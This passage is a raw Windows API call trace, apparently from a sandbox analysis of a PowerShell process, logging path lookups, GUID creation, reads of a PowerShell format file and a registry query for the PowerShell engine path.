[0052.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.417] GetLastError () returned 0x0 [0052.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.417] GetLastError () returned 0x0 [0052.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.417] GetLastError () returned 0x0 [0052.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.417] GetLastError () returned 0x0 [0052.417] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.418] VirtualQuery (in: lpAddress=0x27ccd0, lpBuffer=0x27dcd0, dwLength=0x1c | out: lpBuffer=0x27dcd0*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.420] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xf23cbbda, Data2=0x5b6a, Data3=0x4a28, Data4=([0]=0x88, [1]=0x87, [2]=0x9b, [3]=0xf6, [4]=0xf1, [5]=0x37, [6]=0xce, [7]=0x95))) returned 0x0 [0052.420] VirtualQuery (in: lpAddress=0x27d064, lpBuffer=0x27e064, dwLength=0x1c | out: lpBuffer=0x27e064*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.423] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x1753513, Data2=0xbf93, Data3=0x491a, Data4=([0]=0x94, [1]=0x90, [2]=0xed, [3]=0x80, [4]=0x18, [5]=0xae, [6]=0xec, [7]=0x14))) returned 0x0 [0052.425] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x1e4b1313, Data2=0x95a9, Data3=0x47e6, Data4=([0]=0xa9, [1]=0x9b, [2]=0x0, [3]=0x59, [4]=0x26, [5]=0xc, [6]=0xa5, [7]=0x50))) returned 0x0 [0052.425] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x7c1becdb, Data2=0xdb6, Data3=0x4475, Data4=([0]=0xaf, [1]=0x57, [2]=0xf9, [3]=0x47, [4]=0x17, [5]=0xfa, [6]=0x3f, [7]=0xa7))) returned 0x0 [0052.425] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xcbe222d2, Data2=0x49f9, Data3=0x4d32, Data4=([0]=0xac, [1]=0x57, [2]=0x1d, [3]=0x3b, [4]=0x31, [5]=0x6a, [6]=0x60, [7]=0x34))) returned 0x0 [0052.425] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x7d14866d, Data2=0xd335, Data3=0x4949, Data4=([0]=0x95, [1]=0x51, [2]=0xed, [3]=0x58, [4]=0x94, [5]=0x57, [6]=0xe2, [7]=0xb5))) returned 0x0 [0052.426] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xdd3038c7, Data2=0xe57, Data3=0x43b3, Data4=([0]=0xae, [1]=0x7e, [2]=0xb, [3]=0xf9, [4]=0xa3, [5]=0x7e, [6]=0x2, [7]=0xd))) returned 0x0 [0052.427] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x611ab031, Data2=0x9222, Data3=0x4a32, Data4=([0]=0xa6, [1]=0xa6, [2]=0x44, [3]=0x2a, [4]=0x9d, [5]=0x8b, [6]=0xea, [7]=0xec))) returned 0x0 [0052.427] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x12910c83, Data2=0xa627, Data3=0x4684, Data4=([0]=0xa1, [1]=0xdd, [2]=0x9d, [3]=0xa0, [4]=0xe4, [5]=0x81, [6]=0x70, [7]=0xa3))) returned 0x0 [0052.428] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xd9c8efe2, Data2=0x7a73, Data3=0x473a, Data4=([0]=0xab, [1]=0xe7, [2]=0x5, [3]=0x45, [4]=0x65, [5]=0x5e, [6]=0xcc, [7]=0x87))) returned 0x0 [0052.428] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x310 [0052.428] GetLastError () returned 0x0 [0052.428] GetFileType (hFile=0x310) returned 0x1 [0052.428] SetErrorMode (uMode=0x1) returned 0x1 [0052.428] GetFileType (hFile=0x310) returned 0x1 [0052.428] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.429] GetLastError () returned 0x0 [0052.430] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.430] GetLastError () returned 0x0 [0052.430] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.430] GetLastError () returned 0x0 [0052.431] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.431] GetLastError () returned 0x0 [0052.431] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.431] GetLastError () returned 0x0 [0052.431] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.431] GetLastError () returned 0x0 [0052.431] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.431] GetLastError () returned 0x0 [0052.431] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.431] GetLastError () returned 0x0 [0052.431] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.432] GetLastError () returned 0x0 [0052.432] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.432] GetLastError () returned 0x0 [0052.433] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.433] GetLastError () returned 0x0 [0052.433] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.433] GetLastError () returned 0x0 [0052.433] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.433] GetLastError () returned 0x0 [0052.433] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.433] GetLastError () returned 0x0 [0052.433] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.433] GetLastError () returned 0x0 [0052.433] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.433] GetLastError () returned 0x0 [0052.433] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.433] GetLastError () returned 0x0 [0052.435] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.435] GetLastError () returned 0x0 [0052.435] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.435] GetLastError () returned 0x0 [0052.435] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.435] GetLastError () returned 0x0 [0052.435] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.435] GetLastError () returned 0x0 [0052.435] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0xe67, lpOverlapped=0x0) returned 1 [0052.435] GetLastError () returned 0x0 [0052.435] ReadFile (in: hFile=0x310, lpBuffer=0x328e01b, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328e01b*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.436] GetLastError () returned 0x0 [0052.436] ReadFile (in: hFile=0x310, lpBuffer=0x328ea14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x328ea14*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.436] GetLastError () returned 0x0 [0052.436] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e378 | out: phkResult=0x27e378*=0x310) returned 0x0 [0052.436] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x0, lpcbData=0x27e3bc*=0x0 | out: lpType=0x27e3c0*=0x1, lpData=0x0, lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.437] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x2d1db8, lpcbData=0x27e3bc*=0x56 | out: lpType=0x27e3c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.437] RegCloseKey (hKey=0x310) returned 0x0 [0052.439] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x70275a79, Data2=0xcd49, Data3=0x404a, Data4=([0]=0x95, [1]=0xbb, [2]=0x8, [3]=0xa3, [4]=0x54, [5]=0x18, [6]=0xfc, [7]=0xee))) returned 0x0 [0052.439] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xc5cb8440, Data2=0x8f53, Data3=0x4c37, Data4=([0]=0x9f, [1]=0x61, [2]=0x82, [3]=0x2b, [4]=0x81, [5]=0xf5, [6]=0x97, [7]=0x2c))) returned 0x0 [0052.439] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x2db376de, Data2=0xfdaf, Data3=0x43b8, Data4=([0]=0xa7, [1]=0x40, [2]=0x91, [3]=0x4, [4]=0x93, [5]=0xbc, [6]=0xde, [7]=0x4))) returned 0x0 [0052.439] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x35a13934, Data2=0xec11, Data3=0x4c4f, Data4=([0]=0xa9, [1]=0xd, [2]=0xbd, [3]=0x35, [4]=0xc1, [5]=0xd4, [6]=0x43, [7]=0x2))) returned 0x0 [0052.439] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x6aec51a7, Data2=0xb06a, Data3=0x4809, Data4=([0]=0xb8, [1]=0x51, [2]=0x9e, [3]=0xc2, [4]=0x14, [5]=0xf, [6]=0x60, [7]=0x72))) returned 0x0 [0052.440] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xeda29f95, Data2=0xb4fa, Data3=0x40fe, Data4=([0]=0x9c, [1]=0xbf, [2]=0xef, [3]=0x95, [4]=0xfb, [5]=0x59, [6]=0x10, [7]=0x95))) returned 0x0 [0052.440] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xfb435fe0, Data2=0x5ab7, Data3=0x4fe9, Data4=([0]=0xb7, [1]=0x4c, [2]=0xab, [3]=0xb3, [4]=0xc4, [5]=0x13, [6]=0xa2, [7]=0xe0))) returned 0x0 [0052.440] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x9a85e874, Data2=0x4ea9, Data3=0x4ecd, Data4=([0]=0x94, [1]=0x47, [2]=0x92, [3]=0x13, [4]=0xcd, [5]=0xa5, [6]=0xb6, [7]=0x2f))) returned 0x0 [0052.440] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xc158077, Data2=0x680e, Data3=0x4e34, Data4=([0]=0xb7, [1]=0x82, [2]=0x3e, [3]=0xf0, [4]=0x70, [5]=0x2b, [6]=0xf, [7]=0xe4))) returned 0x0 [0052.440] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xf7d4c3c8, Data2=0x9537, Data3=0x4b8c, Data4=([0]=0xaf, [1]=0x20, [2]=0xef, [3]=0x49, [4]=0x1d, [5]=0x78, [6]=0xfb, [7]=0xc0))) returned 0x0 [0052.440] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x9cc37c23, Data2=0xe107, Data3=0x49b1, Data4=([0]=0x82, [1]=0x5, [2]=0x58, [3]=0xf7, [4]=0x56, [5]=0xcb, [6]=0x46, [7]=0xc6))) returned 0x0 [0052.440] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x6f753ca, Data2=0xd331, Data3=0x4633, Data4=([0]=0x93, [1]=0x76, [2]=0x6f, [3]=0xc5, [4]=0x6d, [5]=0x23, [6]=0xc3, [7]=0xa5))) returned 0x0 [0052.441] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x50a1b30f, Data2=0x74bc, Data3=0x47f6, Data4=([0]=0x80, [1]=0x3f, [2]=0x7b, [3]=0x8b, [4]=0xec, [5]=0x43, [6]=0x32, [7]=0x90))) returned 0x0 [0052.441] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xc54c0cc5, Data2=0x9b92, Data3=0x4193, Data4=([0]=0x8b, [1]=0xf4, [2]=0x25, [3]=0x35, [4]=0x43, [5]=0xfc, [6]=0x74, [7]=0x77))) returned 0x0 [0052.441] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xfb4210f7, Data2=0x7cbf, Data3=0x4a33, Data4=([0]=0xb1, [1]=0x34, [2]=0xbd, [3]=0xdd, [4]=0xa4, [5]=0x99, [6]=0xee, [7]=0x95))) returned 0x0 [0052.441] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xbcb1e0c8, Data2=0xbc69, Data3=0x4082, Data4=([0]=0xa3, [1]=0x83, [2]=0x43, [3]=0x46, [4]=0x8, [5]=0x54, [6]=0xbd, [7]=0xcb))) returned 0x0 [0052.441] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xa92d8076, Data2=0x95d0, Data3=0x4645, Data4=([0]=0x83, [1]=0x0, [2]=0x5a, [3]=0xb8, [4]=0x2, [5]=0xe1, [6]=0xbd, [7]=0xb1))) returned 0x0 [0052.441] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x2cb6df4c, Data2=0xe81f, Data3=0x465f, Data4=([0]=0xbb, [1]=0x62, [2]=0xc4, [3]=0x3a, [4]=0xb4, [5]=0xa8, [6]=0x5d, [7]=0x12))) returned 0x0 [0052.441] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x48f42a98, Data2=0x776c, Data3=0x4e2a, Data4=([0]=0x8f, [1]=0x75, [2]=0x7e, [3]=0xf0, [4]=0x50, [5]=0xb1, [6]=0x2e, [7]=0xcd))) returned 0x0 [0052.442] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xc306b42d, Data2=0x50d2, Data3=0x42ac, Data4=([0]=0xa2, [1]=0x82, [2]=0x42, [3]=0xde, [4]=0x5c, [5]=0x6e, [6]=0x16, [7]=0xa4))) returned 0x0 [0052.442] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x6492de93, Data2=0x9e3f, Data3=0x4b73, Data4=([0]=0x89, [1]=0x34, [2]=0x9c, [3]=0xdd, [4]=0xbe, [5]=0x47, [6]=0x3, [7]=0x50))) returned 0x0 [0052.442] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xab032fb9, Data2=0x294d, Data3=0x4093, Data4=([0]=0xae, [1]=0x11, [2]=0x20, [3]=0xec, [4]=0xc7, [5]=0xc5, [6]=0xde, [7]=0xe8))) returned 0x0 [0052.442] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x68c759c2, Data2=0x95a1, Data3=0x4a8e, Data4=([0]=0x83, [1]=0xff, [2]=0xcc, [3]=0x6f, [4]=0xf2, [5]=0xca, [6]=0x3d, [7]=0x86))) returned 0x0 [0052.442] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x58d0b222, Data2=0x54c2, Data3=0x4a27, Data4=([0]=0x86, [1]=0xe8, [2]=0xa, [3]=0x9e, [4]=0x4a, [5]=0xc1, [6]=0xf9, [7]=0x49))) returned 0x0 [0052.442] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x8fe94e94, Data2=0x459f, Data3=0x45be, Data4=([0]=0xb5, [1]=0xe4, [2]=0xff, [3]=0x3e, [4]=0xa4, [5]=0x61, [6]=0xd1, [7]=0xd7))) returned 0x0 [0052.443] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x430d4199, Data2=0xccaa, Data3=0x4a3a, Data4=([0]=0x91, [1]=0xd0, [2]=0x15, [3]=0x90, [4]=0xb9, [5]=0x7a, [6]=0xe5, [7]=0xed))) returned 0x0 [0052.443] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x3bcb703, Data2=0xbf95, Data3=0x406d, Data4=([0]=0xa3, [1]=0x1a, [2]=0xab, [3]=0xc5, [4]=0x26, [5]=0xd0, [6]=0xd9, [7]=0x49))) returned 0x0 [0052.443] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xb425c5ff, Data2=0x52ba, Data3=0x4723, Data4=([0]=0xb7, [1]=0x67, [2]=0xed, [3]=0xda, [4]=0xbd, [5]=0xe2, [6]=0xba, [7]=0x30))) returned 0x0 [0052.443] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xa56d5664, Data2=0x94bd, Data3=0x40dd, Data4=([0]=0x94, [1]=0xc6, [2]=0xfe, [3]=0x56, [4]=0x85, [5]=0xb9, [6]=0x63, [7]=0x96))) returned 0x0 [0052.443] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x80e2796a, Data2=0x23c2, Data3=0x4d3c, Data4=([0]=0x81, [1]=0xb0, [2]=0xe2, [3]=0x6e, [4]=0xb6, [5]=0x46, [6]=0x3d, [7]=0x6f))) returned 0x0 [0052.443] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x6d33299f, Data2=0xb628, Data3=0x47bc, Data4=([0]=0xbe, [1]=0x3, [2]=0x1, [3]=0x77, [4]=0xe8, [5]=0x40, [6]=0xf7, [7]=0x81))) returned 0x0 [0052.443] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x6a6318f0, Data2=0xefed, Data3=0x4810, Data4=([0]=0xab, [1]=0xe5, [2]=0x8c, [3]=0x13, [4]=0x1f, [5]=0x7b, [6]=0x48, [7]=0x27))) returned 0x0 [0052.443] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x980bdd2, Data2=0x471c, Data3=0x4ceb, Data4=([0]=0x8c, [1]=0x8a, [2]=0x29, [3]=0x9f, [4]=0x86, [5]=0x7f, [6]=0x8d, [7]=0x15))) returned 0x0 [0052.446] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xaeca1807, Data2=0x21a6, Data3=0x4bee, Data4=([0]=0xa8, [1]=0x4f, [2]=0xd6, [3]=0x3d, [4]=0x8a, [5]=0xc3, [6]=0x5b, [7]=0xdb))) returned 0x0 [0052.446] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xbe4ad8fd, Data2=0xaac1, Data3=0x4a6f, Data4=([0]=0x91, [1]=0xaa, [2]=0x3f, [3]=0x24, [4]=0x5, [5]=0x1a, [6]=0xf3, [7]=0xf6))) returned 0x0 [0052.446] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x80a10e01, Data2=0x2cd3, Data3=0x4984, Data4=([0]=0xbd, [1]=0x11, [2]=0xb3, [3]=0x2f, [4]=0xd4, [5]=0xa4, [6]=0x31, [7]=0x4f))) returned 0x0 [0052.446] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xda6a3f5b, Data2=0xaa22, Data3=0x48ed, Data4=([0]=0x9e, [1]=0x34, [2]=0x72, [3]=0x57, [4]=0xff, [5]=0x1a, [6]=0xec, [7]=0xab))) returned 0x0 [0052.446] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xe7e5a31f, Data2=0x9ae, Data3=0x4575, Data4=([0]=0x8e, [1]=0xa, [2]=0xa6, [3]=0x0, [4]=0xe6, [5]=0xe7, [6]=0x86, [7]=0xf0))) returned 0x0 [0052.446] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x5553e064, Data2=0x9525, Data3=0x470f, Data4=([0]=0x9b, [1]=0x5c, [2]=0x8, [3]=0xb2, [4]=0xa9, [5]=0x22, [6]=0x76, [7]=0xc7))) returned 0x0 [0052.446] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x91e07d2a, Data2=0xb0a1, Data3=0x4a54, Data4=([0]=0x9f, [1]=0xae, [2]=0xc8, [3]=0xcc, [4]=0x20, [5]=0x2b, [6]=0x12, [7]=0x9d))) returned 0x0 [0052.446] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x35e5d07c, Data2=0xced1, Data3=0x4a87, Data4=([0]=0xb2, [1]=0xab, [2]=0x92, [3]=0x55, [4]=0xbe, [5]=0x81, [6]=0x51, [7]=0xb4))) returned 0x0 [0052.447] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x5a96466b, Data2=0x8109, Data3=0x44a2, Data4=([0]=0xa2, [1]=0x56, [2]=0xd7, [3]=0x49, [4]=0x9f, [5]=0xe, [6]=0x95, [7]=0x20))) returned 0x0 [0052.447] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x706f8be4, Data2=0x1667, Data3=0x4ea5, Data4=([0]=0xa0, [1]=0x75, [2]=0xb5, [3]=0xaf, [4]=0x2f, [5]=0xc4, [6]=0xa7, [7]=0xf2))) returned 0x0 [0052.447] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x8982ea4f, Data2=0x1d2e, Data3=0x455a, Data4=([0]=0x8e, [1]=0x50, [2]=0x20, [3]=0x58, [4]=0x54, [5]=0xe8, [6]=0x71, [7]=0xd0))) returned 0x0 [0052.447] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xad69add7, Data2=0xc521, Data3=0x4634, Data4=([0]=0x97, [1]=0xc9, [2]=0xfa, [3]=0x10, [4]=0x92, [5]=0xc6, [6]=0x59, [7]=0xf8))) returned 0x0 [0052.447] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x4229fb46, Data2=0xd19, Data3=0x40ad, Data4=([0]=0xa8, [1]=0x4c, [2]=0x42, [3]=0xae, [4]=0x35, [5]=0xa6, [6]=0xac, 